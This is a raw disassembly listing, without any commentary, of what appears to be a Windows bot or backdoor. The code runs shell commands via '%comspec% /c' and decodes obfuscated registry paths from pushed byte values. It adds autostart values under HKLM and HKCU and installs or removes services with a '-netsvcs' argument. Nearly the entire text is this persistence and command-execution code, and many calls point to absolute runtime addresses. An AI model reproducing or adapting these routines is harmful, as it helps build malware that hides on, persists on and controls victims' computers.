		call	sub_4017E4
		push	eax
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		lea	edx, [esp+710h+var_6AC]
		push	edx
		call	sub_40102D
		add	esp, 34h
		lea	ecx, [esp+6E0h+var_64C]
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017E4
		push	eax
		push	esi
		call	near ptr 27D0000h
		nop
		push	esi
		nop
		call	near ptr 283076Ch
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 2880B30h
		push	eax
		call	near ptr 2880000h
		nop
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	sub_5EDAB2
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		lea	eax, [esp+6FCh+var_110]
		push	0
		push	eax
		push	0
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E0A1:				; CODE XREF: sub_40DB40+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DB40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E220	proc near		; CODE XREF: sub_401726j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_401424
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		mov	ebp, dword_50F754
		push	eax
		push	80000002h
		call	ebp ; dword_50F754
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2950000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp ; dword_50F754
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2950000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp ; dword_50F754
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2950000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp ; dword_50F754
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2950000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp ; dword_50F754
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2950000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E220	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E7A0	proc near		; CODE XREF: sub_401447j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E7A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		mov	esi, dword_50F754
		push	eax
		push	80000002h
		call	esi ; dword_50F754
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_50F764
		push	eax
		push	ecx
		call	ebp ; dword_50F764
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_50F738
		push	edx
		call	ebx ; dword_50F738
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi ; dword_50F754
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp ; dword_50F764
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx ; dword_50F738
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi ; dword_50F754
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp ; dword_50F764
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx ; dword_50F738
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi ; dword_50F754
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp ; dword_50F764
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx ; dword_50F738
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi ; dword_50F754
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp ; dword_50F764
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx ; dword_50F738
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E7A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EC30	proc near		; CODE XREF: sub_401497j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40EC30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C5D
		push	eax
		call	near ptr 27E0B29h
		nop
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_401424
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset aSS_0	; "%s\\%s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_401424
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402153
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40EC30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED70	proc near		; CODE XREF: sub_402153j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40ED70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		call	near ptr 2900971h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EDAF
		xor	al, al
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EDAF:				; CODE XREF: sub_40ED70+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_401424
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017E4
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_447874
		call	sub_4017E4
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 2910000h
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EE95
		call	near ptr 27B0896h
		nop
		cmp	eax, 431h
		jnz	short loc_40EE79
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401942
		mov	esi, dword_50F74C
		push	0
		call	esi ; dword_50F74C
		push	edi
		call	esi ; dword_50F74C
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_401497
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE79:				; CODE XREF: sub_40ED70+CBj
		push	edi
		call	near ptr 291037Ch
		nop
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE95:				; CODE XREF: sub_40ED70+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		call	near ptr 29106E4h
		nop
		test	eax, eax
		push	esi
		mov	esi, dword_50F74C
		jnz	short loc_40EEEC
		call	esi ; dword_50F74C
		push	edi
		call	esi ; dword_50F74C
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EEEC:				; CODE XREF: sub_40ED70+164j
		call	esi ; dword_50F74C
		push	edi
		call	esi ; dword_50F74C
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EF00:				; CODE XREF: sub_40ED70+3Aj
					; sub_40ED70+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40ED70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EF90	proc near		; CODE XREF: sub_401942j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900971h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EFB7
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFB7:				; CODE XREF: sub_40EF90+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 28A081Ah
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40EFE4
		push	edi
		nop
		call	near ptr 291037Ch
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFE4:				; CODE XREF: sub_40EF90+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 2900571h
		push	esi
		nop
		call	near ptr 29007C9h
		push	esi
		mov	esi, dword_50F74C
		call	esi ; dword_50F74C
		push	edi
		call	esi ; dword_50F74C
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40EF90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F030	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900971h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F04F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F04F:				; CODE XREF: sub_40F030+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 28A081Ah
		test	eax, eax
		jnz	short loc_40F076
		push	esi
		nop
		call	near ptr 291037Ch
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F076:				; CODE XREF: sub_40F030+37j
		push	edi
		mov	edi, dword_50F74C
		push	eax
		call	edi ; dword_50F74C
		push	esi
		call	edi ; dword_50F74C
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F030	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0B0	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2900971h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F0D1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0D1:				; CODE XREF: sub_40F0B0+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 28A081Ah
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0FB
		push	edi
		nop
		call	near ptr 291037Ch
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0FB:				; CODE XREF: sub_40F0B0+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 28F0A78h
		push	esi
		mov	esi, dword_50F74C
		call	esi ; dword_50F74C
		push	edi
		call	esi ; dword_50F74C
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0B0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F140:				; CODE XREF: ___:loc_4014A1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439048
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F23A
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401726
		test	al, al
		jz	short loc_40F206
		lea	ecx, [esp+0Ch]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017E4
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
